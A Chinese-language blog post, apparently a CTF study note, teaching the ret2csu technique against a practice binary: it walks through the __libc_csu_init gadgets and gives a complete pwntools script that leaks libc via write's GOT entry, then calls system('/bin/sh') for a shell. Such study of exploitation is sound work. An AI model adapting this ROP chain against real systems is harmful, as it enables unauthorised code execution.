pwn学习-ret2csu

再上一次学习栈溢出ret2syscall方法时,我们会发现有些gadget不存在,我们只能借用read遗留下来的ebx寄存机调用,这时就可以使用万能gadget,这个万能的gadget存在__libc_csu_init中,由于每个动态链接的程序就有有libc,并且__libc_csu_init用于初始化,所以说几乎每个程序都含有__libc_csu_init,我们使用里面的万能gadget够着ROP Chain

上述中的代码就是万能gadget分步骤的话代码流程如下
第一步

.text:0000000000400716                               loc_400716:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400716 48 83 C4 08                   add     rsp, 8
.text:000000000040071A 5B                            pop     rbx
.text:000000000040071B 5D                            pop     rbp
.text:000000000040071C 41 5C                         pop     r12
.text:000000000040071E 41 5D                         pop     r13
.text:0000000000400720 41 5E                         pop     r14
.text:0000000000400722 41 5F                         pop     r15
.text:0000000000400724 C3                            retn

第二步

.text:0000000000400700                               loc_400700:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400700 4C 89 EA                      mov     rdx, r13
.text:0000000000400703 4C 89 F6                      mov     rsi, r14
.text:0000000000400706 44 89 FF                      mov     edi, r15d
.text:0000000000400709 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]

第三步

.text:000000000040070D 48 83 C3 01                   add     rbx, 1
.text:0000000000400711 48 39 EB                      cmp     rbx, rbp
.text:0000000000400714 75 EA                         jnz     short loc_400700

具体第一步每个参数的值如下

寄存器
rbx 0
rbp 1
r13 对应rdx,调用函数的第三个参数
r14 对应rsi,调用函数的第二个参数
r15 对应rdi,调用函数的第一个参数

我们需要设置rbx为0,rbp为1,然后rdx,rsi,rdi为需要的参数,通过栈溢出成功执行函数后,我们需要传入第二个gadget,就是上述步骤中的第二步和第三步,他会调用我们的想执行的函数,然后将rbx的值加1,判断rbx - rbp,判断其结果是否为0,如果值不为0就跳转到第二步代码

我们正常第一步需要通过泄露函数判断目标使用的libc,第一步栈溢出成功后,我们需要让程序第二次运行,这时程序运算rbx - rbp值为0了,则不跳转,下方的指令就是我们的第一步,先执行add然后各种各样的pop,我们只需要往下覆盖7行没用的add和pop,就可以到ret然后跳转将main地址让程序再一次运行,我们可以再一次进行栈溢出漏洞,这次直接通过system("/bin/sh") getshell

  400700:	4c 89 ea             	mov    rdx,r13
  400703:	4c 89 f6             	mov    rsi,r14
  400706:	44 89 ff             	mov    edi,r15d
  400709:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  40070d:	48 83 c3 01          	add    rbx,0x1
  400711:	48 39 eb             	cmp    rbx,rbp
  400714:	75 ea                	jne    400700 <__libc_csu_init+0x40>
  400716:	48 83 c4 08          	add    rsp,0x8
  40071a:	5b                   	pop    rbx
  40071b:	5d                   	pop    rbp
  40071c:	41 5c                	pop    r12
  40071e:	41 5d                	pop    r13
  400720:	41 5e                	pop    r14
  400722:	41 5f                	pop    r15
  400724:	c3                   	ret  

接着执行函数,脚本如下

from pwn import *
from LibcSearcher import *
context(log_level='debug')

p = process("./x64_ret2csu")
# p = remote("192.168.6.102",21986)
e = ELF("./x64_ret2csu")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil(b"Welcome to x64_ret2csu\n")

gadget1 = 0x40071a
gadget2 = 0x400700
write_got = e.got['write']
# print(write_got)
main = 0x40065B

padding = 0x80 + 0x8
payload = b"A" * padding
payload += p64(gadget1)
payload += p64(0)		# rbx
payload += p64(1)		# rbp
payload += p64(write_got)
payload += p64(8)			# rdx
payload += p64(write_got)	# rsi
payload += p64(1)			# rdi
payload += p64(gadget2)
payload += p64(0xdeadbeef)*7
payload += p64(main)
p.send(payload)

write_addr = u64(p.recv(8))
print("write_addr is %#x" %write_addr)

libc_base = write_addr - libc.sym['write']
print("libc_base is %#x" %libc_base)

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))


# obj = LibcSearcher("write",write_addr)
# libc_base = write_addr - obj.dump("write")
# system_addr = libc_base + obj.dump("system")
# bin_sh = libc_base + obj.dump("str_bin_sh")


pop_rdi_ret = 0x400723
ret = 0x4004c9
p.recvuntil(b"Welcome to x64_ret2csu\n")
padding = 0x80 + 0x8
payload = b"A" * padding
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_addr)
payload += p64(main)
p.send(payload)

p.interactive()

使用程序如下:
链接:https://pan.baidu.com/s/1WO5bu7yxJWLOmywZFFgNrQ
提取码:o34t

posted @ 2024-06-04 15:59  Junglezt  阅读(65)  评论(0编辑  收藏  举报